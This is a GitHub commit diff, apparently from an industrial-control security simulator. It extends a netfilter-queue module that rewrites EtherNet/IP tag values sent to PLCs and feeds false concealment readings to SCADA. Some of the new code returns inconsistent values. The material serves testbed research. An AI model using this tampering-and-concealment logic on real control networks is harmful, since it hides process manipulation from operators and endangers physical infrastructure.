Skip to content

Commit a4f4c23

Browse files
committed
Multiple tags concealment now supported for offset/value parameters, ongoing work into path
1 parent 0800382 commit a4f4c23

File tree

4 files changed

+72
-44
lines changed

4 files changed

+72
-44
lines changed

dhalsim/network_attacks/concealment_netfilter_queue.py

Lines changed: 67 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -40,50 +40,75 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int, queue_number:
4040
self.logger.debug('Concealment type is: ' + str(self.concealment_type))
4141

4242
def get_attack_tag(self, a_tag_name):
43+
self.logger.debug('attacked tags: ' + str(self.attacked_tags))
4344
for tag in self.attacked_tags:
4445
if tag['tag'] == a_tag_name:
4546
return tag
4647

48+
def handle_attack(self, session, ip_payload):
49+
# We support multi tag sending, using the same session. Context varies among tags
50+
for tag in self.intermediate_attack['tags']:
51+
if session['tag'] == tag['tag']:
52+
modified = True
53+
if 'value' in tag.keys():
54+
self.logger.debug('attacking with value')
55+
return translate_float_to_payload(tag['value'], ip_payload[Raw].load)
56+
57+
elif 'offset' in tag.keys():
58+
self.logger.debug('attacking with offset')
59+
return translate_float_to_payload(
60+
translate_payload_to_float(ip_payload[Raw].load) + tag['offset'],
61+
ip_payload[Raw].load), modified
62+
63+
def handle_concealment(self, session, ip_payload):
64+
if self.intermediate_attack['concealment_data']['type'] == 'value' or \
65+
self.intermediate_attack['concealment_data']['type'] == 'offset':
66+
for tag in self.intermediate_attack['concealment_data']['concealment_value']:
67+
if session['tag'] == tag['tag']:
68+
modified = True
69+
if self.intermediate_attack['concealment_data']['type']:
70+
self.logger.debug('Concealment value is: ' + str(tag['value']))
71+
return translate_float_to_payload(tag['value'], ip_payload[Raw].load)
72+
elif self.intermediate_attack['concealment_data']['type'] == 'offset':
73+
self.logger.debug('Concealment offset is: ' + str(tag['offset']))
74+
return translate_float_to_payload(
75+
translate_payload_to_float(ip_payload[Raw].load) + tag['offset'],
76+
ip_payload[Raw].load), modified
77+
elif self.intermediate_attack['concealment_data']['type'] == 'path':
78+
self.logger.debug('Concealing to SCADA with path')
79+
exp = (self.concealment_data_pd['iteration'] == self.get_master_clock())
80+
concealment_value = float(self.concealment_data_pd.loc[exp][session['tag']].values[-1])
81+
self.logger.debug('Concealing with value: ' + str(concealment_value))
82+
modified = True
83+
return translate_float_to_payload(concealment_value, ip_payload[Raw].load), modified
84+
4785
def handle_enip_response(self, ip_payload):
4886
this_session = int.from_bytes(ip_payload[Raw].load[4:8], sys.byteorder)
4987
this_context = int.from_bytes(ip_payload[Raw].load[12:20], sys.byteorder)
5088

5189
self.logger.debug('ENIP response session: ' + str(this_session))
5290
self.logger.debug('ENIP response context: ' + str(this_context))
5391

92+
# When target is SCADA, the concealment session will be stored in attack_session_ids
93+
if self.intermediate_attack['target'].lower() == 'scada':
94+
for session in self.attack_session_ids:
95+
if session['session'] == this_session and session['context'] == this_context:
96+
self.logger.debug('Concealing to SCADA: ' + str(this_session))
97+
return self.handle_concealment(session, ip_payload)
98+
5499
# Attack values to PLCs
55100
for session in self.attack_session_ids:
56-
# We support multi tag sending, using the same session. Context varies among tags
57101
if session['session'] == this_session and session['context'] == this_context:
58-
for tag in self.intermediate_attack['tags']:
59-
if session['tag'] == tag['tag']:
60-
if 'value' in tag.keys():
61-
return translate_float_to_payload(tag['value'], ip_payload[Raw].load)
62-
63-
elif 'offset' in tag.keys():
64-
return translate_float_to_payload(translate_payload_to_float(ip_payload[Raw].load) + tag['offset'],
65-
ip_payload[Raw].load)
102+
return self.handle_attack(session, ip_payload)
66103

67104
# Concealment values to SCADA
68105
for session in self.scada_session_ids:
69-
self.logger.debug('Concealing to SCADA: ' + str(this_session))
70106
if session['session'] == this_session and session['context'] == this_context:
71-
if self.intermediate_attack['concealment_data']['type'] == 'value' or self.intermediate_attack['concealment_data']['type'] == 'offset':
72-
for tag in self.intermediate_attack['concealment_data']['concealment_value']:
73-
if session['tag'] == tag['tag']:
74-
if self.intermediate_attack['concealment_data']['type']:
75-
self.logger.debug('Concealment value is: ' + str(tag['value']))
76-
return translate_float_to_payload(tag['value'], ip_payload[Raw].load)
77-
elif self.intermediate_attack['concealment_data']['type'] == 'offset':
78-
self.logger.debug('Concealment offset is: ' + str(tag['offset']))
79-
return translate_float_to_payload(translate_payload_to_float(ip_payload[Raw].load) + tag['offset'],
80-
ip_payload[Raw].load)
81-
elif self.intermediate_attack['concealment_data']['type'] == 'path':
82-
self.logger.debug('Concealing to SCADA with path')
83-
exp = (self.concealment_data_pd['iteration'] == self.get_master_clock())
84-
concealment_value = float(self.concealment_data_pd.loc[exp][session['tag']].values[-1])
85-
self.logger.debug('Concealing with value: ' + str(concealment_value))
86-
return translate_float_to_payload(concealment_value, ip_payload[Raw].load)
107+
self.logger.debug('Concealing to SCADA: ' + str(this_session))
108+
return self.handle_concealment(session, ip_payload)
109+
110+
modified = False
111+
return ip_payload, modified
87112

88113
def handle_enip_request(self, ip_payload, offset):
89114

@@ -94,18 +119,18 @@ def handle_enip_request(self, ip_payload, offset):
94119
self.logger.debug('this tag is: ' + str(tag_name))
95120
this_tag = self.get_attack_tag(tag_name)
96121

97-
#self.logger.debug('Tag name: ' + str(tag_name))
98-
#self.logger.debug('Attack tag: ' + str(this_tag['tag']))
99-
session_dict = {'session': this_session, 'tag': this_tag['tag'], 'context': context}
100-
self.logger.debug('session dict: ' + str(session_dict))
101-
102-
if ip_payload[IP].src == self.intermediate_yaml['scada']['public_ip']:
103-
self.logger.debug('SCADA Req session')
104-
self.scada_session_ids.append(session_dict)
122+
if this_tag:
123+
#self.logger.debug('Tag name: ' + str(tag_name))
124+
self.logger.debug('Attack tag: ' + str(this_tag['tag']))
125+
session_dict = {'session': this_session, 'tag': this_tag['tag'], 'context': context}
126+
self.logger.debug('session dict: ' + str(session_dict))
105127

106-
else:
107-
self.logger.debug('PLC Req session')
108-
self.attack_session_ids.append(session_dict)
128+
if ip_payload[IP].src == self.intermediate_yaml['scada']['public_ip']:
129+
self.logger.debug('SCADA Req session')
130+
self.scada_session_ids.append(session_dict)
131+
else:
132+
self.logger.debug('PLC Req session')
133+
self.attack_session_ids.append(session_dict)
109134

110135
def capture(self, packet):
111136
"""
@@ -121,11 +146,11 @@ def capture(self, packet):
121146
p = IP(packet.get_payload())
122147
if 'TCP' in p:
123148
if len(p) == 102:
124-
p[Raw].load = self.handle_enip_response(p)
125-
del p[IP].chksum
126-
del p[TCP].chksum
127-
packet.set_payload(bytes(p))
128-
self.logger.debug(f"Value of network packet for {p[IP].dst} overwritten.")
149+
p[Raw].load, modified = self.handle_enip_response(p)
150+
if modified:
151+
del p[IP].chksum
152+
del p[TCP].chksum
153+
packet.set_payload(bytes(p))
129154
packet.accept()
130155
return
131156

dhalsim/network_attacks/synced_attack.py

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,9 @@ def __init__(self, intermediate_yaml_path: Path, yaml_index: int):
6363
if plc['name'] == self.intermediate_attack['target']:
6464
self.intermediate_plc = plc
6565

66+
if self.intermediate_attack['target'].lower() == 'scada':
67+
self.intermediate_plc = self.intermediate_yaml['scada']
68+
6669
self.attacker_ip = self.intermediate_attack['local_ip']
6770
self.target_plc_ip = self.intermediate_plc['local_ip']
6871

dhalsim/parser/config_parser.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -723,7 +723,7 @@ def generate_network_attacks(self):
723723
target = network_attack['target']
724724

725725
# Network attacks to SCADA do not need a target plc
726-
if target == 'scada':
726+
if target.lower() == 'scada':
727727
continue
728728

729729
target_plc = None

dhalsim/python2/topo/complex_topo.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -154,7 +154,7 @@ def generate_data(self, data):
154154
if 'network_attacks' in self.data.keys():
155155
for attack in data['network_attacks']:
156156
target = next((plc for plc in data['plcs'] if plc['name'] == attack['target']), None)
157-
if attack['target'] == 'scada':
157+
if attack['target'].lower() == 'scada':
158158
target = data['scada']
159159
if not target:
160160
raise NoSuchPlc("The target plc {name} does not exist".format(name=attack['target']))

0 commit comments

Comments
 (0)